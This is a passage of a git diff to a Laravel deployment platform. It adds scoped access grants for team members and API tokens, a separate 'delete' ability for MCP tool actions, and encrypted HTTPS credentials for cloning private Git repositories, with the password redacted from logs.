'services/{uuid}/move', 'ability' => 'write', 'confirm' => true, 'description' => 'move the service to another environment of the team (data: environment_uuid)'], 'update_application' => ['method' => 'PATCH', 'path' => 'services/{uuid}/applications/{app_uuid}', 'ability' => 'write', 'description' => 'update a service application (data: url, redirect, noindex_domains, human_name, description, image, exclude_from_status, is_log_drain_enabled, is_gzip_enabled, traefik_certificate_resolver, is_stripprefix_enabled, is_force_https_enabled, max_restart_count)'], diff --git a/app/Mcp/Tools/ManageSharedEnv.php b/app/Mcp/Tools/ManageSharedEnv.php index d21acd18d5..03f5feaaa1 100644 --- a/app/Mcp/Tools/ManageSharedEnv.php +++ b/app/Mcp/Tools/ManageSharedEnv.php @@ -33,7 +33,7 @@ class ManageSharedEnv extends RestActionTool 'project' => 'projects/{uuid}/envs/{env_id}', 'environment' => 'projects/{uuid}/environments/{environment_name_or_uuid}/envs/{env_id}', 'server' => 'servers/{uuid}/envs/{env_id}', - ], 'ability' => 'write', 'confirm' => true, 'description' => 'delete a shared variable'], + ], 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a shared variable'], ]; } diff --git a/app/Mcp/Tools/ManageStorage.php b/app/Mcp/Tools/ManageStorage.php index 1211833052..950b7cea02 100644 --- a/app/Mcp/Tools/ManageStorage.php +++ b/app/Mcp/Tools/ManageStorage.php @@ -18,9 +18,9 @@ class ManageStorage extends RestActionTool return [ 'create' => ['method' => 'POST', 'paths' => $this->paths('storages'), 'ability' => 'write', 'description' => 'create a storage (data: type persistent|file, name, mount_path, content, is_directory, is_host_file, fs_path; services also resource_uuid; file content and an fs_path outside the resource directory need deploy ability)'], 'update' => ['method' => 'PATCH', 'paths' => $this->paths('storages'), 'ability' => 'write', 'description' => 'update a storage (data: uuid of the storage, type, name, mount_path, content, is_preview_suffix_enabled; a content change needs deploy ability; the content is saved right away and written to the server in the background, so a failed write does not change the response)'], - 'delete' => ['method' => 'DELETE', 'paths' => $this->paths('storages/{storage_uuid}'), 'ability' => 'write', 'confirm' => true, 'description' => 'delete a storage'], + 'delete' => ['method' => 'DELETE', 'paths' => $this->paths('storages/{storage_uuid}'), 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a storage'], 'set_backup' => ['method' => 'PUT', 'paths' => $this->paths('storages/{storage_uuid}/backups'), 'ability' => 'write', 'description' => 'create or replace the volume backup schedule (data: frequency, enabled, save_s3, s3_storage_uuid(s), stop_during_backup, retention fields ...; stop_during_backup needs deploy ability)'], - 'remove_backup' => ['method' => 'DELETE', 'paths' => $this->paths('storages/{storage_uuid}/backups'), 'ability' => 'write', 'confirm' => true, 'description' => 'delete the volume backup schedule and its local and S3 archives'], + 'remove_backup' => ['method' => 'DELETE', 'paths' => $this->paths('storages/{storage_uuid}/backups'), 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the volume backup schedule and its local and S3 archives'], 'run_backup' => ['method' => 'POST', 'paths' => $this->paths('storages/{storage_uuid}/backups/run'), 'ability' => 'deploy', 'confirm' => true, 'description' => 'run the volume backup now (can stop the resource when stop_during_backup is set)'], ]; } diff --git a/app/Mcp/Tools/ManageTags.php b/app/Mcp/Tools/ManageTags.php index 37059bfe58..2c794bdfa7 100644 --- a/app/Mcp/Tools/ManageTags.php +++ b/app/Mcp/Tools/ManageTags.php @@ -18,7 +18,7 @@ class ManageTags extends RestActionTool return [ 'create' => ['method' => 'POST', 'path' => 'tags', 'ability' => 'write', 'description' => 'create a team tag (data: name)'], 'update' => ['method' => 'PATCH', 'path' => 'tags/{tag_uuid}', 'ability' => 'write', 'description' => 'rename a team tag (data: name)'], - 'delete' => ['method' => 'DELETE', 'path' => 'tags/{tag_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a team tag and detach it from all resources'], + 'delete' => ['method' => 'DELETE', 'path' => 'tags/{tag_uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a team tag and detach it from all resources'], 'attach' => ['method' => 'POST', 'paths' => [ 'application' => 'applications/{uuid}/tags', 'database' => 'databases/{uuid}/tags', @@ -28,7 +28,7 @@ class ManageTags extends RestActionTool 'application' => 'applications/{uuid}/tags/{tag_uuid}', 'database' => 'databases/{uuid}/tags/{tag_uuid}', 'service' => 'services/{uuid}/tags/{tag_uuid}', - ], 'ability' => 'write', 'description' => 'detach a tag from the resource'], + ], 'ability' => 'delete', 'description' => 'detach a tag from the resource'], ]; } diff --git a/app/Mcp/Tools/SearchResources.php b/app/Mcp/Tools/SearchResources.php index 28ea617e38..37f24aef35 100644 --- a/app/Mcp/Tools/SearchResources.php +++ b/app/Mcp/Tools/SearchResources.php @@ -7,7 +7,6 @@ use App\Mcp\Concerns\ResolvesTeam; use App\Models\Application; use App\Models\Environment; use App\Models\Project; -use App\Models\Server; use App\Models\Service; use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; @@ -82,7 +81,7 @@ class SearchResources extends Tool } if (in_array('server', $typesList, true)) { - Server::whereTeamId($teamId) + $this->visibleServers($request, $teamId) ->where(function ($q) use ($like, $needle) { $q->whereRaw('LOWER(name) LIKE ?', [$like]) ->orWhere('uuid', $needle) diff --git a/app/Models/Application.php b/app/Models/Application.php index 1fe908027b..2a32c515e0 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -23,6 +23,7 @@ use App\Traits\HasNoindexDomains; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; use App\Traits\ReleasesManagedDnsRecords; +use App\Traits\ScopedByAccessGrants; use Database\Factories\ApplicationFactory; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; @@ -54,6 +55,7 @@ use Symfony\Component\Yaml\Yaml; 'git_branch' => ['type' => 'string', 'description' => 'Git branch.'], 'git_commit_sha' => ['type' => 'string', 'description' => 'Git commit SHA.'], 'git_full_url' => ['type' => 'string', 'nullable' => true, 'description' => 'Git full URL.'], + 'git_https_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTPS access to a private repository on a custom Git host. The password or token is never returned.'], 'docker_registry_image_name' => ['type' => 'string', 'nullable' => true, 'description' => 'Docker registry image name.'], 'docker_registry_image_tag' => ['type' => 'string', 'nullable' => true, 'description' => 'Docker registry image tag.'], 'build_pack' => ['type' => 'string', 'description' => 'Build pack.', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose']], @@ -138,7 +140,7 @@ use Symfony\Component\Yaml\Yaml; class Application extends BaseModel { /** @use HasFactory */ - use Auditable, ClearsGlobalSearchCache, HasComposeVolumeWarnings, HasConfiguration, HasFactory, HasMaintenancePage, HasMetrics, HasNoindexDomains, HasSafeStringAttribute, HasSecretManager, ReleasesManagedDnsRecords, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasComposeVolumeWarnings, HasConfiguration, HasFactory, HasMaintenancePage, HasMetrics, HasNoindexDomains, HasSafeStringAttribute, HasSecretManager, ReleasesManagedDnsRecords, ScopedByAccessGrants, SoftDeletes; public const MAX_DOCKER_COMPOSE_SIZE_BYTES = 5 * 1024 * 1024; @@ -160,6 +162,8 @@ class Application extends BaseModel 'git_branch', 'git_commit_sha', 'git_full_url', + 'git_https_username', + 'git_https_password', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', @@ -281,6 +285,7 @@ class Application extends BaseModel protected $hidden = [ ...self::COMMAND_AND_CONFIGURATION_ATTRIBUTES, 'http_basic_auth_password', + 'git_https_password', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', @@ -297,6 +302,7 @@ class Application extends BaseModel { return [ 'http_basic_auth_password' => 'encrypted', + 'git_https_password' => 'encrypted', 'http_basic_auth_hash_algorithm' => HttpBasicAuthHashAlgorithm::class, 'manual_webhook_secret_github' => 'encrypted', 'manual_webhook_secret_gitlab' => 'encrypted', @@ -1815,6 +1821,10 @@ class Application extends BaseModel if ($this->deploymentType() === 'other') { $fullRepoUrl = $customRepository; $escapedCustomRepository = escapeshellarg($customRepository); + $gitConfigOption = $this->gitHttpsCredentialConfigOption(); + if ($gitConfigOption) { + $base_command = "git {$gitConfigOption} ls-remote"; + } $base_command = "{$base_command} {$escapedCustomRepository}"; if ($exec_in_docker) { @@ -1831,6 +1841,53 @@ class Application extends BaseModel } } + /** + * Tells if the application clones a private repository from a custom Git host over HTTP(S) with a username and a password or token. + */ + public function usesGitHttpsCredential(): bool + { + return filled($this->git_https_password) + && $this->deploymentType() === 'other' + && $this->gitHttpsCredentialOrigin() !== null; + } + + /** + * The value of the Basic auth header for the HTTPS credential, also used to redact it from logs. + */ + public function gitHttpsCredentialBasicToken(): ?string + { + if (blank($this->git_https_password)) { + return null; + } + + return base64_encode(($this->git_https_username ?? '').':'.$this->git_https_password); + } + + /** + * A `git -c` option that sends the HTTPS credential as a Basic auth header, only to the host of the repository. + * Git does not save `-c` options in .git/config, and it passes them on to submodule and Git LFS commands. + */ + public function gitHttpsCredentialConfigOption(): ?string + { + if (! $this->usesGitHttpsCredential()) { + return null; + } + + return '-c '.escapeshellarg("http.{$this->gitHttpsCredentialOrigin()}.extraHeader=Authorization: Basic {$this->gitHttpsCredentialBasicToken()}"); + } + + private function gitHttpsCredentialOrigin(): ?string + { + $url = parse_url((string) $this->git_repository); + $scheme = strtolower($url['scheme'] ?? ''); + if (! in_array($scheme, ['http', 'https'], true) || blank($url['host'] ?? null)) { + return null; + } + $port = isset($url['port']) ? ":{$url['port']}" : ''; + + return "{$scheme}://{$url['host']}{$port}/"; + } + private function gitCommand(string $command): array { return [ @@ -2137,8 +2194,11 @@ class Application extends BaseModel if ($this->deploymentType() === 'other') { $fullRepoUrl = $customRepository; $escapedCustomRepository = escapeshellarg($customRepository); + $gitConfigOption = $this->gitHttpsCredentialConfigOption(); + $gitCommand = $gitConfigOption ? "git {$gitConfigOption}" : 'git'; + $git_clone_command = str_replace('git clone', "{$gitCommand} clone", $git_clone_command); $git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, baseDir: $baseDir, onlyCheckout: $only_checkout); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, gitConfigOptions: $gitConfigOption, baseDir: $baseDir, onlyCheckout: $only_checkout); $otherSshCommand = gitSshCommand($customPort, '/root/.ssh/id_rsa', identitiesOnly: false); if ($pull_request_id !== 0) { @@ -2149,7 +2209,7 @@ class Application extends BaseModel } else { $commands->push($this->gitCommand("echo 'Checking out $branch'")); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" {$gitCommand} fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand, $gitConfigOption); } elseif ($git_type === 'github' || $git_type === 'gitea') { $branch = "pull/{$pull_request_id}/head:$pr_branch_name"; if ($exec_in_docker) { @@ -2157,14 +2217,14 @@ class Application extends BaseModel } else { $commands->push($this->gitCommand("echo 'Checking out $branch'")); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" {$gitCommand} fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand, $gitConfigOption); } elseif ($git_type === 'bitbucket') { if ($exec_in_docker) { $commands->push($this->gitCommand(executeInDocker($deployment_uuid, "echo 'Checking out $branch'"))); } else { $commands->push($this->gitCommand("echo 'Checking out $branch'")); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" ".$this->buildGitCheckoutCommand($commit, $otherSshCommand); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" ".$this->buildGitCheckoutCommand($commit, $otherSshCommand, $gitConfigOption); } } diff --git a/app/Models/ApplicationDeploymentQueue.php b/app/Models/ApplicationDeploymentQueue.php index 3af70a5610..8d8f92e5dc 100644 --- a/app/Models/ApplicationDeploymentQueue.php +++ b/app/Models/ApplicationDeploymentQueue.php @@ -4,6 +4,7 @@ namespace App\Models; use App\Casts\EncryptedArrayCast; use App\Enums\ApplicationDeploymentStatus; +use App\Services\Access\AccessResolver; use App\Services\Security\SensitiveDataRedactor; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Casts\Attribute; @@ -49,6 +50,20 @@ use OpenApi\Attributes as OA; )] class ApplicationDeploymentQueue extends Model { + /** + * Only deployments of applications the authenticated member or API token can see. + */ + public function scopeVisibleToCurrentActor(Builder $query): Builder + { + foreach (app(AccessResolver::class)->currentLayers() as $layer) { + if (! $layer->coversWholeTeam()) { + return $query->whereIn('application_id', Application::query()->pluck('id')->map(fn ($id) => (string) $id)); + } + } + + return $query; + } + /** * Log redaction variants of remote secrets. Kept in memory only, never saved. * diff --git a/app/Models/ApplicationSetting.php b/app/Models/ApplicationSetting.php index 7d2c5a849a..7a7054e3ee 100644 --- a/app/Models/ApplicationSetting.php +++ b/app/Models/ApplicationSetting.php @@ -2,6 +2,7 @@ namespace App\Models; +use App\Services\Access\AccessResolver; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Model; use OpenApi\Attributes as OA; @@ -153,10 +154,11 @@ class ApplicationSetting extends Model */ public static function isContainerNamePrefixInUse(string $prefix, Server $server, ?int $ignoreApplicationId = null): bool { - return $server->applications()->contains(function (Application $application) use ($prefix, $ignoreApplicationId) { + // Hidden applications of a scoped member still count, or two names on one server could collide. + return app(AccessResolver::class)->withoutVisibilityScope(fn () => $server->applications()->contains(function (Application $application) use ($prefix, $ignoreApplicationId) { return $application->id !== $ignoreApplicationId && in_array($prefix, [$application->uuid, $application->settings->custom_container_name_prefix, $application->settings->custom_internal_name], true); - }); + })); } public function stopGracePeriodSeconds(): int diff --git a/app/Models/Environment.php b/app/Models/Environment.php index 8e11fb72f8..7cb659772d 100644 --- a/app/Models/Environment.php +++ b/app/Models/Environment.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasSafeStringAttribute; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Relations\HasMany; use OpenApi\Attributes as OA; @@ -24,7 +25,7 @@ use OpenApi\Attributes as OA; class Environment extends BaseModel { use Auditable, HasFactory; - use ClearsGlobalSearchCache; + use ClearsGlobalSearchCache, ScopedByAccessGrants; use HasSafeStringAttribute; protected $fillable = [ diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index b40ca8ebb3..93df2afc47 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -489,6 +489,11 @@ class EnvironmentVariable extends BaseModel } } + if ($resource instanceof Application && filled($resource->git_https_password)) { + $secrets['locked'][] = $resource->git_https_password; + $secrets['locked'][] = $resource->gitHttpsCredentialBasicToken(); + } + $variables = collect($isDatabase ? $resource->runtime_environment_variables : $resource->environment_variables); if ($includePreview && $resource instanceof Application) { $variables = $variables->merge($resource->environment_variables_preview ?? []); diff --git a/app/Models/PersonalAccessToken.php b/app/Models/PersonalAccessToken.php index 503377bec1..b1b60414dc 100644 --- a/app/Models/PersonalAccessToken.php +++ b/app/Models/PersonalAccessToken.php @@ -13,12 +13,14 @@ class PersonalAccessToken extends SanctumPersonalAccessToken 'expires_at', 'api_token_expiration_warning_sent_at', 'team_id', + 'scopes', ]; protected function casts(): array { return [ 'api_token_expiration_warning_sent_at' => 'datetime', + 'scopes' => 'array', ]; } } diff --git a/app/Models/Project.php b/app/Models/Project.php index a32adf2a51..26309801f8 100644 --- a/app/Models/Project.php +++ b/app/Models/Project.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasSafeStringAttribute; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Support\Collection; use OpenApi\Attributes as OA; @@ -22,7 +23,7 @@ use OpenApi\Attributes as OA; class Project extends BaseModel { use Auditable, HasFactory; - use ClearsGlobalSearchCache; + use ClearsGlobalSearchCache, ScopedByAccessGrants; use HasSafeStringAttribute; protected $fillable = [ diff --git a/app/Models/Scopes/VisibleThroughAccessGrants.php b/app/Models/Scopes/VisibleThroughAccessGrants.php new file mode 100644 index 0000000000..8557c109e8 --- /dev/null +++ b/app/Models/Scopes/VisibleThroughAccessGrants.php @@ -0,0 +1,43 @@ +isResolving()) { + return; + } + + foreach ($resolver->currentLayers() as $layer) { + if ($layer->coversWholeTeam()) { + continue; + } + + if ($model instanceof Project) { + $builder->whereIn($model->qualifyColumn('id'), $layer->visibleProjectIds()); + } elseif ($model instanceof Environment) { + $builder->whereIn($model->qualifyColumn('id'), $layer->visibleEnvironmentIds()); + } else { + $builder->where(fn (Builder $query) => $query + ->whereIn($model->qualifyColumn('environment_id'), $layer->fullEnvironmentIds()) + ->orWhereIn($model->qualifyColumn('uuid'), $layer->resourceUuids())); + } + } + } +} diff --git a/app/Models/Service.php b/app/Models/Service.php index bce0ac2fef..c16d8974c2 100644 --- a/app/Models/Service.php +++ b/app/Models/Service.php @@ -12,6 +12,7 @@ use App\Traits\HasComposeVolumeWarnings; use App\Traits\HasMaintenancePage; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Relations\HasMany; @@ -46,7 +47,7 @@ use OpenApi\Attributes as OA; )] class Service extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasComposeVolumeWarnings, HasFactory, HasMaintenancePage, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasComposeVolumeWarnings, HasFactory, HasMaintenancePage, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; private static $parserVersion = '5'; diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 9e959b0577..63a26b16e0 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -9,6 +9,7 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; @@ -16,7 +17,7 @@ use Throwable; class StandaloneClickhouse extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected array $auditExclude = ['last_online_at']; diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index e97402a754..1386309d47 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -9,13 +9,14 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneDragonfly extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected $fillable = [ 'uuid', diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index a6842ab01e..b54c93f637 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -9,13 +9,14 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneKeydb extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected $fillable = [ 'uuid', diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index bb6aaf4dc2..7fd842d001 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -9,6 +9,7 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Relations\MorphTo; @@ -16,7 +17,7 @@ use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneMariadb extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected $fillable = [ 'uuid', diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index f67f413133..189cd11de3 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -9,13 +9,14 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneMongodb extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected $fillable = [ 'uuid', diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 5ff8d8ab93..17ff604864 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -9,13 +9,14 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneMysql extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected $fillable = [ 'uuid', diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index b468de9d9d..c266ae8583 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -9,13 +9,14 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; class StandalonePostgresql extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected $fillable = [ 'uuid', diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index 227b07ccfb..96f1c30d39 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -9,13 +9,14 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneRedis extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected array $auditExclude = ['last_online_at']; diff --git a/app/Models/StandaloneSqlite.php b/app/Models/StandaloneSqlite.php index 327a1f8731..5375720604 100644 --- a/app/Models/StandaloneSqlite.php +++ b/app/Models/StandaloneSqlite.php @@ -9,6 +9,7 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; @@ -17,7 +18,7 @@ use InvalidArgumentException; class StandaloneSqlite extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; public const DATA_DIRECTORY = '/var/lib/sqlite'; diff --git a/app/Models/Team.php b/app/Models/Team.php index 8fb8497c33..0126548963 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -340,7 +340,7 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen public function members() { - return $this->belongsToMany(User::class, 'team_user', 'team_id', 'user_id')->withPivot('role'); + return $this->belongsToMany(User::class, 'team_user', 'team_id', 'user_id')->withPivot('role', 'access'); } public function subscription() diff --git a/app/Models/User.php b/app/Models/User.php index 223813c8f3..a195a0d05c 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -3,14 +3,17 @@ namespace App\Models; use App\Actions\User\RevokeUserTeamTokens; +use App\Enums\AccessLevel; use App\Jobs\UpdateStripeCustomerEmailJob; use App\Notifications\Channels\SendsEmail; use App\Notifications\TransactionalEmails\EmailChangeVerification; use App\Notifications\TransactionalEmails\ResetPassword as TransactionalEmailsResetPassword; +use App\Services\Access\AccessResolver; use App\Services\ChangelogService; use App\Traits\DeletesUserSessions; use DateTimeInterface; use Illuminate\Database\Eloquent\Factories\HasFactory; +use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Notifications\Messages\MailMessage; @@ -284,7 +287,7 @@ class User extends Authenticatable implements PasskeyUser, SendsEmail public function teams() { - return $this->belongsToMany(Team::class)->withPivot('role'); + return $this->belongsToMany(Team::class)->withPivot('role', 'access'); } public function changelogReads() @@ -483,6 +486,14 @@ class User extends Authenticatable implements PasskeyUser, SendsEmail return data_get($team, 'pivot.role'); } + /** + * Check the access grants of the user (and the API token of the request) on a project, environment, or resource. + */ + public function canAccess(AccessLevel $level, Model $target): bool + { + return app(AccessResolver::class)->allows($this, $level, $target); + } + /** * Check if the user is an admin or owner of a specific team */ diff --git a/app/Policies/ApiTokenPolicy.php b/app/Policies/ApiTokenPolicy.php index e9ef4d7c9e..9ec28e9942 100644 --- a/app/Policies/ApiTokenPolicy.php +++ 